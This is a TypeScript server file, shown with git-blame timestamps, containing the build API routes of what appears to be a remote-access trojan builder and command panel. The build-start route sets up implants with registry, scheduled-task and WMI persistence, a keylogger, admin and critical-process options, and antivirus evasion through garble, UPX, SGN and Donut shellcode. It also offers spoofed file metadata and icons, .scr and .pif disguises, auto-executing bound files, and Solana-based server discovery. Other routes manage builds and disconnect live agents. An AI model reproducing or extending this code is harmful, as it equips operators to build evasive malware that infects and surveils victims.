2026-03-29 13:39:51 -05:00
import { createHash } from "crypto" ;
2026-03-05 00:04:26 -06:00
import { v4 as uuidv4 } from "uuid" ;
import { authenticateRequest } from "../../auth" ;
import { AuditAction , logAudit } from "../../auditLog" ;
import * as buildManager from "../../build/buildManager" ;
2026-03-29 13:39:51 -05:00
import * as clientManager from "../../clientManager" ;
2026-04-23 22:54:49 -05:00
import {
deleteBuild ,
getAllBuilds ,
getBuild ,
countBuildsForUser ,
getOldestBuildForUser ,
2026-04-29 00:22:37 -05:00
setBuildBlocked ,
listClientIdsByBuildTag ,
countBuildClaimsBatch ,
2026-04-23 22:54:49 -05:00
} from "../../db" ;
2026-03-29 13:39:51 -05:00
import { encodeMessage } from "../../protocol" ;
import { metrics } from "../../metrics" ;
2026-03-05 00:04:26 -06:00
import { requirePermission } from "../../rbac" ;
import { logger } from "../../logger" ;
2026-03-29 13:39:51 -05:00
import { normalizeClientOs } from "../deploy-utils" ;
2026-04-19 18:24:50 -05:00
import { canUserBuild , recordBuildStart , recordBuildEnd } from "../../build-rate-limit" ;
import { getConfig } from "../../config" ;
2026-06-22 12:54:12 -05:00
import { canUploadFiles , canUserAccessPlugin } from "../../users" ;
2026-05-09 18:31:53 -05:00
import { addBuildToBanlist , removeBuildFromBanlist } from "../build-signing" ;
2026-03-05 00:04:26 -06:00
import path from "path" ;
2026-03-12 21:26:53 -05:00
import fs from "fs" ;
2026-03-05 00:04:26 -06:00
import { resolveRuntimeRoot } from "../runtime-paths" ;
2026-05-29 20:14:31 -05:00
import { createUploadPull } from "../file-transfer-state" ;
import { handleBuildProfileRoutes } from "./build-profile-routes" ;
2026-03-05 00:04:26 -06:00
type RequestIpProvider = {
requestIP : ( req : Request ) => { address? : string } | null | undefined ;
};
type BuildRouteDeps = {
startBuildProcess : ( buildId : string , config : any ) => Promise < void >;
sanitizeMutex : ( value? : string ) => string | undefined ;
allowedPlatforms : Set < string >;
2026-06-22 12:54:12 -05:00
listPluginManifests ?: () => Promise < any [] >;
2026-03-05 00:04:26 -06:00
};
2026-06-22 12:54:12 -05:00
function getPathValue ( source : any , dotted : string ) : any {
if ( ! source || ! dotted ) return undefined ;
return dotted . split ( "." ). reduce (( cur , key ) => ( cur && typeof cur === "object" ? cur [ key ] : undefined ), source );
}
function requirementMet ( req : any , buildConfig : any , pluginSettings : any ) : boolean {
if ( ! req || typeof req !== "object" ) return true ;
let value : any ;
if ( typeof req . field === "string" ) value = getPathValue ( buildConfig , req . field );
else if ( typeof req . pluginSetting === "string" ) value = getPathValue ( pluginSettings , req . pluginSetting );
else if ( Array . isArray ( req . platforms )) {
const platforms = Array . isArray ( buildConfig . platforms ) ? buildConfig . platforms : [];
return req . platforms . some (( p : any ) => typeof p === "string" && platforms . includes ( p ));
} else {
return true ;
}
if ( req . truthy === true && ! value ) return false ;
if ( req . falsy === true && value ) return false ;
if ( Object . prototype . hasOwnProperty . call ( req , "equals" ) && value !== req . equals ) return false ;
if ( Object . prototype . hasOwnProperty . call ( req , "notEquals" ) && value === req . notEquals ) return false ;
if ( Object . prototype . hasOwnProperty . call ( req , "includes" )) {
if ( ! Array . isArray ( value ) || ! value . includes ( req . includes )) return false ;
}
return true ;
}
function sanitizePluginBuildValue ( setting : any , value : any ) : any {
const type = typeof setting ? . type === "string" ? setting . type : "string" ;
if ( value === undefined || value === null || value === "" ) {
return setting ? . default !== undefined ? setting.default : undefined ;
}
if ( type === "boolean" ) return value === true || value === "true" || value === "1" ;
if ( type === "number" ) {
const n = Number ( value );
if ( ! Number . isFinite ( n )) return setting ? . default !== undefined ? setting.default : undefined ;
const min = typeof setting . min === "number" ? setting . min : - 1 _000_000_000 ;
const max = typeof setting . max === "number" ? setting.max : 1_000_000_000 ;
return Math . max ( min , Math . min ( max , n ));
}
const str = String ( value ). slice ( 0 , type === "textarea" ? 10_000 : 1_000 );
if ( type === "select" && Array . isArray ( setting . options )) {
const allowed = new Set ( setting . options . map (( opt : any ) => typeof opt === "string" ? opt : opt?.value ). filter (( v : any ) => typeof v === "string" ));
return allowed . has ( str ) ? str : setting.default ;
}
return str ;
}
async function sanitizeBuildPlugins (
raw : any ,
deps : BuildRouteDeps ,
user : any ,
buildConfig : any ,
) : Promise < { value : Record < string , any >; error? : string } > {
if ( ! raw || typeof raw !== "object" || ! deps . listPluginManifests ) return { value : {} };
const manifests = await deps . listPluginManifests ();
const byId = new Map ( manifests . map (( m ) => [ m . id , m ]));
const value : Record < string , any > = {};
for ( const [ pluginId , rawPlugin ] of Object . entries ( raw )) {
if ( ! /^[A-Za-z0-9._-]{1,128}$/ . test ( pluginId )) continue ;
const manifest = byId . get ( pluginId );
if ( ! manifest ? . build || ! canUserAccessPlugin ( user . userId , user . role , pluginId )) continue ;
const rawRecord = rawPlugin && typeof rawPlugin === "object" ? rawPlugin as any : {};
const enabled = rawRecord . enabled !== false ;
const settings : Record < string , any > = {};
for ( const setting of Array . isArray ( manifest . build . settings ) ? manifest . build . settings : []) {
if ( ! setting || typeof setting . key !== "string" ) continue ;
const sanitized = sanitizePluginBuildValue ( setting , rawRecord . settings ? .[ setting . key ]);
if ( enabled && setting . required && ( sanitized === undefined || sanitized === "" )) {
return { value : {}, error : `Build plugin ${ manifest . name || pluginId } requires ${ setting . label || setting . key } ` };
}
if ( sanitized !== undefined ) settings [ setting . key ] = sanitized ;
}
value [ pluginId ] = { enabled , settings };
if ( enabled ) {
for ( const req of Array . isArray ( manifest . build . requires ) ? manifest . build . requires : []) {
if ( ! requirementMet ( req , buildConfig , settings )) {
return { value : {}, error : req.message || `Build plugin ${ manifest . name || pluginId } requirements are not met` };
}
}
}
}
return { value };
}
2026-03-05 00:04:26 -06:00
export async function handleBuildRoutes (
req : Request ,
url : URL ,
server : RequestIpProvider ,
deps : BuildRouteDeps ,
) : Promise < Response | null > {
if ( ! url . pathname . startsWith ( "/api/build" )) {
return null ;
}
try {
const user = await authenticateRequest ( req );
if ( ! user ) {
return new Response ( "Unauthorized" , { status : 401 });
}
if ( req . method === "POST" && url . pathname === "/api/build/start" ) {
2026-03-12 21:26:53 -05:00
requirePermission ( user , "clients:build" );
2026-03-05 00:04:26 -06:00
2026-04-19 18:24:50 -05:00
if ( getConfig (). registration . mode !== "off" ) {
const rateLimitResult = canUserBuild ( user . userId );
if ( ! rateLimitResult . allowed ) {
return Response . json (
{ error : rateLimitResult.reason || "Build rate limit exceeded" },
{
status : 429 ,
headers : rateLimitResult.retryAfter
? { "Retry-After" : String ( rateLimitResult . retryAfter ) }
: {},
},
);
}
}
2026-03-05 00:04:26 -06:00
const body = await req . json ();
const {
platforms ,
serverUrl ,
rawServerList ,
2026-04-05 18:18:40 -05:00
solMemo ,
solAddress ,
solRpcEndpoints ,
2026-03-05 00:04:26 -06:00
stripDebug ,
disableCgo ,
obfuscate ,
enablePersistence ,
2026-03-26 11:05:04 -05:00
persistenceMethods ,
2026-03-21 03:06:35 -05:00
startupName ,
2026-03-05 00:04:26 -06:00
mutex ,
disableMutex ,
hideConsole ,
noPrinting ,
2026-03-16 14:09:06 +01:00
outputName ,
garbleLiterals ,
garbleTiny ,
garbleSeed ,
assemblyTitle ,
assemblyProduct ,
assemblyCompany ,
assemblyVersion ,
assemblyCopyright ,
iconBase64 ,
2026-03-16 14:42:18 +01:00
enableUpx ,
upxStripHeaders ,
2026-03-21 02:12:35 -05:00
requireAdmin ,
2026-04-03 10:47:05 -05:00
criticalProcess ,
2026-05-10 17:06:39 -05:00
disableKeylogger ,
2026-05-13 13:44:33 -05:00
enableWebrtc ,
2026-06-06 23:34:44 -05:00
enableWinRE ,
2026-03-21 02:12:35 -05:00
outputExtension ,
sleepSeconds ,
2026-03-21 02:37:10 -05:00
boundFiles ,
2026-04-19 15:07:44 -05:00
iosBundleId ,
2026-05-13 23:55:51 -04:00
useDonut ,
useLinuxShellcode ,
shellcodeConsole ,
2026-05-17 13:31:47 -05:00
useSgn ,
sgnIterations ,
2026-06-10 19:54:18 -05:00
outputSgnTxt ,
2026-05-14 19:56:50 -05:00
fetchPublicIP ,
2026-05-17 19:49:50 -05:00
uploadToFileShare ,
2026-06-22 12:54:12 -05:00
buildPlugins ,
2026-03-05 00:04:26 -06:00
} = body ;
if ( ! platforms || ! Array . isArray ( platforms ) || platforms . length === 0 ) {
return Response . json ({ error : "No platforms specified" }, { status : 400 });
}
let safeMutex : string | undefined ;
try {
safeMutex = typeof mutex === "string" ? deps . sanitizeMutex ( mutex ) : undefined ;
} catch ( err : any ) {
return Response . json ({ error : err?.message || "Invalid mutex" }, { status : 400 });
}
const safeDisableMutex = !! disableMutex ;
const sanitizedPlatforms = platforms . filter (( p : string ) => typeof p === "string" );
if ( sanitizedPlatforms . length !== platforms . length ) {
return Response . json ({ error : "Invalid platform entries" }, { status : 400 });
}
const allowedPlatforms = sanitizedPlatforms . filter (( p : string ) =>
deps . allowedPlatforms . has ( p ),
);
if ( allowedPlatforms . length === 0 ) {
return Response . json ({ error : "No valid platforms specified" }, { status : 400 });
}
const safeRawServerList = !! rawServerList ;
2026-04-05 18:18:40 -05:00
const safeSolMemo = !! solMemo ;
2026-03-05 00:04:26 -06:00
const safeServerUrl =
typeof serverUrl === "string" && serverUrl . trim () !== ""
? serverUrl . trim ()
: undefined ;
2026-04-05 18:18:40 -05:00
if ( safeRawServerList && safeSolMemo ) {
return Response . json (
{ error : "Cannot enable both raw server list and Solana memo mode" },
{ status : 400 },
);
}
2026-03-05 00:04:26 -06:00
if ( safeRawServerList ) {
if ( ! safeServerUrl ) {
return Response . json (
{ error : "Raw server list requires a server URL" },
{ status : 400 },
);
}
try {
const parsed = new URL ( safeServerUrl );
if ( parsed . protocol !== "https:" ) {
return Response . json (
{ error : "Raw server list URL must use https" },
{ status : 400 },
);
}
} catch {
return Response . json ({ error : "Invalid raw server list URL" }, { status : 400 });
}
}
2026-04-05 18:18:40 -05:00
let safeSolAddress : string | undefined ;
let safeSolRpcEndpoints : string | undefined ;
if ( safeSolMemo ) {
if ( typeof solAddress !== "string" || ! solAddress . trim ()) {
return Response . json (
{ error : "Solana memo mode requires a Solana address" },
{ status : 400 },
);
}
const trimmedAddr = solAddress . trim ();
if ( ! /^[1-9A-HJ-NP-Za-km-z]{32,44}$/ . test ( trimmedAddr )) {
return Response . json (
{ error : "Invalid Solana address (must be Base58, 32-44 chars)" },
{ status : 400 },
);
}
safeSolAddress = trimmedAddr ;
if ( typeof solRpcEndpoints === "string" && solRpcEndpoints . trim ()) {
const endpoints = solRpcEndpoints . split ( "\n" ). map (( e : string ) => e . trim ()). filter ( Boolean );
for ( const ep of endpoints ) {
try {
const parsed = new URL ( ep );
if ( parsed . protocol !== "https:" && parsed . protocol !== "http:" ) {
return Response . json (
{ error : `Invalid RPC endpoint protocol: ${ ep } ` },
{ status : 400 },
);
}
} catch {
return Response . json (
{ error : `Invalid RPC endpoint URL: ${ ep } ` },
{ status : 400 },
);
}
}
safeSolRpcEndpoints = endpoints . join ( "," );
}
}
2026-03-05 00:04:26 -06:00
const buildId = uuidv4 ();
const ip = server . requestIP ( req ) ? . address || "unknown" ;
2026-04-14 10:23:59 -05:00
// Enforce max 10 builds per user — auto-delete oldest when limit exceeded
const MAX_BUILDS_PER_USER = 10 ;
const currentCount = countBuildsForUser ( user . userId );
if ( currentCount >= MAX_BUILDS_PER_USER ) {
const oldest = getOldestBuildForUser ( user . userId );
if ( oldest ) {
if ( oldest . files ) {
const rootDir = resolveRuntimeRoot ();
const outDir = path . join ( rootDir , "dist-clients" );
for ( const file of oldest . files ) {
try {
const fp = path . join ( outDir , file . filename );
if ( fs . existsSync ( fp )) {
fs . unlinkSync ( fp );
}
} catch {}
}
}
buildManager . deleteBuildStream ( oldest . id );
deleteBuild ( oldest . id );
logger . info ( `[build:limit] Auto-deleted oldest build ${ oldest . id . substring ( 0 , 8 ) } for user ${ user . username } (limit: ${ MAX_BUILDS_PER_USER } )` );
}
}
2026-03-05 00:04:26 -06:00
logAudit ({
timestamp : Date.now (),
username : user.username ,
ip ,
action : AuditAction.COMMAND ,
details : `Started build ${ buildId } for platforms: ${ allowedPlatforms . join ( ", " ) } ` ,
success : true ,
});
const safeNoPrinting = !! noPrinting ;
2026-03-12 13:52:02 -05:00
const VALID_PERSISTENCE_METHODS = new Set ([ 'startup' , 'registry' , 'taskscheduler' , 'wmi' ]);
2026-03-26 11:05:04 -05:00
const safePersistenceMethods : string [] =
Array . isArray ( persistenceMethods )
? persistenceMethods
. filter (( m : unknown ) => typeof m === 'string' && VALID_PERSISTENCE_METHODS . has (( m as string ). toLowerCase ()))
. map (( m : string ) => m . toLowerCase ())
: [ 'startup' ];
if ( safePersistenceMethods . length === 0 ) safePersistenceMethods . push ( 'startup' );
2026-03-21 03:06:35 -05:00
const safeStartupName =
2026-04-04 20:42:54 -05:00
typeof startupName === 'string' && /^[A-Za-z0-9_.-]{1,64}$/ . test ( startupName . trim ())
2026-03-21 03:06:35 -05:00
? startupName . trim ()
: undefined ;
2026-04-04 20:42:54 -05:00
const hasDarwinTarget = allowedPlatforms . some (( p ) => p . startsWith ( 'darwin-' ));
2026-04-19 15:07:44 -05:00
const hasIosTarget = allowedPlatforms . some (( p ) => p . startsWith ( 'ios-' ));
if (( hasDarwinTarget || hasIosTarget ) && safeStartupName && ! safeStartupName . startsWith ( 'com.' )) {
2026-04-04 20:42:54 -05:00
return Response . json (
{ error : 'Startup name for macOS must start with "com." (e.g. com.apple.updater)' },
{ status : 400 },
);
}
2026-03-16 14:09:06 +01:00
const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/ . test ( outputName . trim ())
? outputName . trim ()
: undefined ;
const safeGarbleSeed = typeof garbleSeed === "string" && /^[A-Za-z0-9]{1,64}$/ . test ( garbleSeed . trim ())
? garbleSeed . trim ()
: undefined ;
const safeAssemblyVersion = typeof assemblyVersion === "string" && /^\d{1,5}\.\d{1,5}\.\d{1,5}\.\d{1,5}$/ . test ( assemblyVersion . trim ())
? assemblyVersion . trim ()
: undefined ;
const safeStr = ( val : any , max = 128 ) =>
typeof val === "string" && val . trim (). length > 0 ? val . trim (). slice ( 0 , max ) : undefined ;
const safeIconBase64 = typeof iconBase64 === "string" && iconBase64 . length > 0 && iconBase64 . length <= 2 * 1024 * 1024
? iconBase64
: undefined ;
2026-03-21 02:12:35 -05:00
const safeRequireAdmin = !! requireAdmin ;
2026-04-03 10:47:05 -05:00
const safeCriticalProcess = !! criticalProcess ;
2026-06-10 19:54:18 -05:00
const VALID_OUTPUT_EXTENSIONS = new Set ([ ".exe" , ".scr" , ".bat" , ".cmd" , ".ps1" , ".pif" , ".com" ]);
2026-03-21 02:12:35 -05:00
const safeOutputExtension =
typeof outputExtension === "string" && VALID_OUTPUT_EXTENSIONS . has ( outputExtension . toLowerCase ())
? outputExtension . toLowerCase () : ".exe" ;
const safeSleepSeconds =
typeof sleepSeconds === "number" && Number . isInteger ( sleepSeconds ) && sleepSeconds >= 0 && sleepSeconds <= 3600
? sleepSeconds : 0 ;
2026-06-10 19:54:18 -05:00
const safeOutputSgnTxt = !! outputSgnTxt ;
if ( safeOutputSgnTxt && ! useSgn ) {
return Response . json (
{ error : "SGN TXT output requires SGN Polymorphic Encoding" },
{ status : 400 },
);
}
if ( safeOutputSgnTxt ) {
const hasSgnCapableTarget = allowedPlatforms . some (( p ) =>
( !! useDonut && p . startsWith ( "windows-" )) ||
( !! useLinuxShellcode && p === "linux-amd64" )
);
if ( ! hasSgnCapableTarget ) {
return Response . json (
{ error : "SGN TXT output requires Donut on Windows or Linux Shellcode on linux-amd64" },
{ status : 400 },
);
}
}
2026-03-16 14:09:06 +01:00
2026-03-21 02:37:10 -05:00
const MAX_BOUND_FILES = 5 ;
2026-04-08 19:47:38 -05:00
const MAX_BOUND_FILE_BYTES = 50 * 1024 * 1024 ;
2026-03-21 02:37:10 -05:00
const ALLOWED_BIND_TARGET_OS = new Set ([ "windows" , "linux" , "darwin" ]);
const RESERVED_BIND_NAMES = new Set ([ "manifest.json" ]);
type SafeBoundFile = { name : string ; data : string ; targetOS : string []; execute : boolean };
let safeBoundFiles : SafeBoundFile [] | undefined ;
if ( Array . isArray ( boundFiles ) && boundFiles . length > 0 ) {
if ( boundFiles . length > MAX_BOUND_FILES ) {
return Response . json ({ error : `Maximum ${ MAX_BOUND_FILES } bound files allowed` }, { status : 400 });
}
const seenNames = new Set < string >();
const validated : SafeBoundFile [] = [];
for ( const f of boundFiles ) {
if ( ! f || typeof f !== "object" ) {
return Response . json ({ error : "Invalid bound file entry" }, { status : 400 });
}
const rawName = typeof f . name === "string" ? f . name : "" ;
const safeName = rawName . replace ( /[^A-Za-z0-9._-]/g , "" ). slice ( 0 , 64 );
if ( ! safeName ) {
return Response . json ({ error : "Bound file has an invalid name" }, { status : 400 });
}
if ( RESERVED_BIND_NAMES . has ( safeName )) {
return Response . json ({ error : `' ${ safeName } ' is a reserved filename` }, { status : 400 });
}
if ( seenNames . has ( safeName )) {
return Response . json ({ error : `Duplicate bound file name: ${ safeName } ` }, { status : 400 });
}
seenNames . add ( safeName );
if ( typeof f . data !== "string" || f . data . length === 0 ) {
return Response . json ({ error : `Bound file ' ${ safeName } ' has no data` }, { status : 400 });
}
const approxDecodedBytes = Math . floor ( f . data . length * 3 / 4 );
if ( approxDecodedBytes > MAX_BOUND_FILE_BYTES ) {
2026-04-08 19:47:38 -05:00
return Response . json ({ error : `Bound file ' ${ safeName } ' exceeds the 50 MB limit` }, { status : 400 });
2026-03-21 02:37:10 -05:00
}
const safeTargetOS = Array . isArray ( f . targetOS )
? f . targetOS . filter (( o : unknown ) => typeof o === "string" && ALLOWED_BIND_TARGET_OS . has ( o as string )) as string []
: [];
validated . push ({
name : safeName ,
data : f.data ,
targetOS : safeTargetOS ,
execute : f.execute !== false , // default true
});
}
safeBoundFiles = validated ;
}
2026-05-17 19:49:50 -05:00
const safeUploadToFileShare = !! uploadToFileShare ;
if ( safeUploadToFileShare && ! canUploadFiles ( user . userId , user . role )) {
return Response . json (
{ error : "You do not have permission to upload files" },
{ status : 403 },
);
}
2026-04-19 18:24:50 -05:00
const rateLimitActive = getConfig (). registration . mode !== "off" ;
if ( rateLimitActive ) recordBuildStart ( user . userId );
2026-06-22 12:54:12 -05:00
const safeBuildConfig : any = {
2026-03-05 00:04:26 -06:00
platforms : allowedPlatforms ,
serverUrl : safeServerUrl ,
rawServerList : safeRawServerList ,
2026-04-05 18:18:40 -05:00
solMemo : safeSolMemo ,
solAddress : safeSolAddress ,
solRpcEndpoints : safeSolRpcEndpoints ,
2026-03-05 00:04:26 -06:00
mutex : safeMutex ,
disableMutex : safeDisableMutex ,
stripDebug ,
disableCgo ,
obfuscate : !! obfuscate ,
enablePersistence ,
2026-03-26 11:05:04 -05:00
persistenceMethods : safePersistenceMethods ,
2026-03-21 03:06:35 -05:00
startupName : safeStartupName ,
2026-03-05 00:04:26 -06:00
hideConsole : !! hideConsole ,
noPrinting : safeNoPrinting ,
2026-03-12 21:26:53 -05:00
builtByUserId : user.userId ,
2026-03-16 14:09:06 +01:00
outputName : safeOutputName ,
garbleLiterals : !! garbleLiterals ,
garbleTiny : !! garbleTiny ,
garbleSeed : safeGarbleSeed ,
assemblyTitle : safeStr ( assemblyTitle ),
assemblyProduct : safeStr ( assemblyProduct ),
assemblyCompany : safeStr ( assemblyCompany ),
assemblyVersion : safeAssemblyVersion ,
assemblyCopyright : safeStr ( assemblyCopyright ),
iconBase64 : safeIconBase64 ,
2026-03-16 14:42:18 +01:00
enableUpx : !! enableUpx ,
upxStripHeaders : !! upxStripHeaders ,
2026-03-21 02:12:35 -05:00
requireAdmin : safeRequireAdmin ,
2026-04-03 10:47:05 -05:00
criticalProcess : safeCriticalProcess ,
2026-05-10 17:06:39 -05:00
disableKeylogger : !! disableKeylogger ,
2026-05-13 13:44:33 -05:00
enableWebrtc : !! enableWebrtc ,
2026-06-06 23:34:44 -05:00
enableWinRE : !! enableWinRE ,
2026-03-21 02:12:35 -05:00
outputExtension : safeOutputExtension ,
sleepSeconds : safeSleepSeconds ,
2026-03-21 02:37:10 -05:00
boundFiles : safeBoundFiles ,
2026-04-19 15:07:44 -05:00
iosBundleId : typeof iosBundleId === "string" && /^[a-zA-Z0-9.-]{1,128}$/ . test ( iosBundleId . trim ()) ? iosBundleId . trim () : undefined ,
2026-05-13 23:55:51 -04:00
useDonut : !! useDonut ,
useLinuxShellcode : !! useLinuxShellcode ,
shellcodeConsole : !! shellcodeConsole ,
2026-05-17 13:31:47 -05:00
useSgn : !! useSgn ,
sgnIterations : Math.max ( 1 , Math . min ( 50 , Math . floor ( Number ( sgnIterations ) || 1 ))),
2026-06-10 19:54:18 -05:00
outputSgnTxt : safeOutputSgnTxt ,
2026-05-14 19:56:50 -05:00
fetchPublicIP : !! fetchPublicIP ,
2026-05-17 19:49:50 -05:00
uploadToFileShare : safeUploadToFileShare ,
2026-06-22 12:54:12 -05:00
};
const pluginBuildResult = await sanitizeBuildPlugins ( buildPlugins , deps , user , safeBuildConfig );
if ( pluginBuildResult . error ) {
if ( rateLimitActive ) recordBuildEnd ( user . userId );
return Response . json ({ error : pluginBuildResult.error }, { status : 400 });
}
safeBuildConfig . buildPlugins = pluginBuildResult . value ;
deps . startBuildProcess ( buildId , safeBuildConfig ). finally (() => {
2026-04-19 18:24:50 -05:00
if ( rateLimitActive ) recordBuildEnd ( user . userId );
2026-03-05 00:04:26 -06:00
});
return Response . json ({ buildId });
}
2026-06-22 12:54:12 -05:00
if ( req . method === "GET" && url . pathname === "/api/build/plugins" ) {
requirePermission ( user , "clients:build" );
if ( ! deps . listPluginManifests ) {
return Response . json ({ plugins : [] });
}
const manifests = await deps . listPluginManifests ();
const plugins = manifests
. filter (( manifest ) => manifest ? . build && manifest ? . hasServer === true )
. filter (( manifest ) => canUserAccessPlugin ( user . userId , user . role , manifest . id ))
. map (( manifest ) => ({
id : manifest.id ,
name : manifest.name || manifest . id ,
runtime : manifest.runtime || "native" ,
hasServer : manifest.hasServer === true ,
enabled : manifest.enabled !== false ,
build : manifest.build ,
}));
return Response . json ({ plugins });
}
2026-03-05 00:04:26 -06:00
if ( req . method === "GET" && url . pathname === "/api/build/list" ) {
2026-03-12 21:26:53 -05:00
requirePermission ( user , "clients:build" );
2026-03-05 00:04:26 -06:00
2026-04-14 10:23:59 -05:00
const showAll = url . searchParams . get ( "all" ) === "true" && user . role === "admin" ;
const builds = showAll
? getAllBuilds ( undefined , "admin" )
: getAllBuilds ( user . userId , user . role === "admin" ? "operator" : user . role );
2026-04-29 00:22:37 -05:00
const claimCounts = countBuildClaimsBatch ( builds . map (( b ) => b . id ));
const enriched = builds . map (( b ) => ({
... b ,
claimCount : claimCounts.get ( b . id ) ?? 0 ,
}));
return Response . json ({ builds : enriched });
2026-03-05 00:04:26 -06:00
}
2026-05-29 20:14:31 -05:00
const profileResult = await handleBuildProfileRoutes ( req , url , user );
if ( profileResult ) return profileResult ;
2026-04-23 22:54:49 -05:00
2026-03-05 00:04:26 -06:00
if ( req . method === "DELETE" && url . pathname . match ( /^\/api\/build\/(.+)\/delete$/ )) {
2026-03-12 21:26:53 -05:00
requirePermission ( user , "clients:build" );
2026-03-05 00:04:26 -06:00
2026-03-12 21:26:53 -05:00
const buildId = decodeURIComponent ( url . pathname . split ( "/" )[ 3 ]);
const build = getBuild ( buildId );
2026-03-16 18:42:56 -05:00
if ( ! build ) {
return new Response ( "Not Found" , { status : 404 });
}
if ( build . builtByUserId && build . builtByUserId !== user . userId && user . role !== "admin" ) {
return new Response ( "Forbidden" , { status : 403 });
}
if ( build . files ) {
2026-03-12 21:26:53 -05:00
const rootDir = resolveRuntimeRoot ();
const outDir = path . join ( rootDir , "dist-clients" );
for ( const file of build . files ) {
try {
const filePath = path . join ( outDir , file . filename );
if ( fs . existsSync ( filePath )) {
fs . unlinkSync ( filePath );
logger . info ( `[build:delete] Removed file: ${ filePath } ` );
}
} catch ( err ) {
logger . warn ( `[build:delete] Failed to remove file ${ file . filename } :` , err );
}
}
}
2026-03-05 00:04:26 -06:00
buildManager . deleteBuildStream ( buildId );
deleteBuild ( buildId );
const ip = server . requestIP ( req ) ? . address || "unknown" ;
logAudit ({
timestamp : Date.now (),
username : user.username ,
ip ,
action : AuditAction.COMMAND ,
details : `Deleted build ${ buildId } ` ,
success : true ,
});
2026-03-12 21:26:53 -05:00
logger . info ( `[build:delete] Build ${ buildId . substring ( 0 , 8 ) } deleted by ${ user . username } ` );
2026-03-05 00:04:26 -06:00
return Response . json ({ success : true });
}
2026-04-29 00:22:37 -05:00
if ( req . method === "POST" && url . pathname . match ( /^\/api\/build\/(.+)\/block$/ )) {
requirePermission ( user , "clients:build" );
const buildId = decodeURIComponent ( url . pathname . split ( "/" )[ 3 ]);
const build = getBuild ( buildId );
if ( ! build ) {
return new Response ( "Not Found" , { status : 404 });
}
if ( build . builtByUserId && build . builtByUserId !== user . userId && user . role !== "admin" ) {
return new Response ( "Forbidden" , { status : 403 });
}
let body : any = {};
try {
body = await req . json ();
} catch {
// empty body = default to block (true)
}
const blocked = body && typeof body . blocked === "boolean" ? body.blocked : true ;
const ok = setBuildBlocked ( buildId , blocked );
if ( ! ok ) {
return Response . json ({ error : "Build not found" }, { status : 404 });
}
2026-05-09 18:31:53 -05:00
if ( blocked ) {
addBuildToBanlist ( buildId );
} else {
removeBuildFromBanlist ( buildId );
}
2026-04-29 00:22:37 -05:00
let disconnected = 0 ;
if ( blocked && build . buildTag ) {
const clientIds = listClientIdsByBuildTag ( build . buildTag );
for ( const cid of clientIds ) {
const target = clientManager . getClient ( cid );
if ( ! target ? . ws ) continue ;
try {
target . ws . send (
encodeMessage ({
type : "command" ,
commandType : "disconnect" ,
id : uuidv4 (),
payload : { reason : "build_blocked" },
}),
);
} catch {}
try { target . ws . close ( 4007 , "build_blocked" ); } catch {}
disconnected ++ ;
}
}
const ip = server . requestIP ( req ) ? . address || "unknown" ;
logAudit ({
timestamp : Date.now (),
username : user.username ,
ip ,
action : AuditAction.COMMAND ,
details : ` ${ blocked ? "Blocked" : "Unblocked" } build ${ buildId }${ blocked && disconnected > 0 ? ` (kicked ${ disconnected } live agents)` : "" } ` ,
success : true ,
});
logger . info ( `[build:block] Build ${ buildId . substring ( 0 , 8 ) } ${ blocked ? "blocked" : "unblocked" } by ${ user . username }${ blocked && disconnected > 0 ? ` ( ${ disconnected } live agents kicked)` : "" } ` );
return Response . json ({ success : true , blocked , disconnected });
}
2026-03-05 00:04:26 -06:00
if ( req . method === "GET" && url . pathname . match ( /^\/api\/build\/(.+)\/stream$/ )) {
2026-03-12 21:26:53 -05:00
requirePermission ( user , "clients:build" );
2026-03-05 00:04:26 -06:00
const buildId = url . pathname . split ( "/" )[ 3 ];
const build = buildManager . getBuildStream ( buildId );
if ( ! build ) {
return Response . json ({ error : "Build not found" }, { status : 404 });
}
2026-03-16 18:42:56 -05:00
if ( build . userId && build . userId !== user . userId && user . role !== "admin" ) {
return new Response ( "Forbidden" , { status : 403 });
}
2026-03-05 00:04:26 -06:00
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Client connected to stream` );
const stream = new ReadableStream ({
start ( controller ) {
build . controllers . push ( controller );
logger . info (
`[build: ${ buildId . substring ( 0 , 8 ) } ] Added controller, total: ${ build . controllers . length } ` ,
);
const encoder = new TextEncoder ();
try {
controller . enqueue (
encoder . encode (
`data: ${ JSON . stringify ({ type : "status" , text : "Connected to build stream" } )} \ n \ n` ,
),
);
} catch ( err ) {
logger . error (
`[build: ${ buildId . substring ( 0 , 8 ) } ] Failed to send initial message:` ,
err ,
);
}
},
cancel() {
const index = build . controllers . indexOf ( this as any );
if ( index > - 1 ) {
build . controllers . splice ( index , 1 );
logger . info (
`[build: ${ buildId . substring ( 0 , 8 ) } ] Controller removed, remaining: ${ build . controllers . length } ` ,
);
}
},
});
return new Response ( stream , {
headers : {
"Content-Type" : "text/event-stream" ,
"Cache-Control" : "no-cache" ,
Connection : "keep-alive" ,
"X-Accel-Buffering" : "no" ,
},
});
}
if ( req . method === "GET" && url . pathname . match ( /^\/api\/build\/(.+)\/info$/ )) {
2026-03-12 21:26:53 -05:00
requirePermission ( user , "clients:build" );
2026-03-05 00:04:26 -06:00
const buildId = url . pathname . split ( "/" )[ 3 ];
const build = buildManager . getBuildStream ( buildId );
if ( ! build ) {
const dbBuild = getBuild ( buildId );
if ( ! dbBuild ) {
return Response . json ({ error : "Build not found" }, { status : 404 });
}
2026-03-16 18:42:56 -05:00
if ( dbBuild . builtByUserId && dbBuild . builtByUserId !== user . userId && user . role !== "admin" ) {
return new Response ( "Forbidden" , { status : 403 });
}
2026-03-05 00:04:26 -06:00
return Response . json ({
id : dbBuild.id ,
status : dbBuild.status ,
startTime : dbBuild.startTime ,
expiresAt : dbBuild.expiresAt ,
files : dbBuild.files ,
});
}
2026-03-16 18:42:56 -05:00
if ( build . userId && build . userId !== user . userId && user . role !== "admin" ) {
return new Response ( "Forbidden" , { status : 403 });
}
2026-03-05 00:04:26 -06:00
return Response . json ({
id : build.id ,
status : build.status ,
startTime : build.startTime ,
expiresAt : build.expiresAt ,
files : build.files ,
});
}
if ( req . method === "GET" && url . pathname . match ( /^\/api\/build\/download\// )) {
2026-03-12 21:26:53 -05:00
requirePermission ( user , "clients:build" );
2026-03-05 00:04:26 -06:00
const rawName = url . pathname . split ( "/api/build/download/" )[ 1 ] || "" ;
let fileName = rawName ;
try {
fileName = decodeURIComponent ( rawName );
} catch {
return Response . json ({ error : "Bad request" }, { status : 400 });
}
if (
! fileName ||
fileName . includes ( "\u0000" ) ||
fileName . includes ( "/" ) ||
2026-04-29 00:22:37 -05:00
fileName . includes ( "\\" ) ||
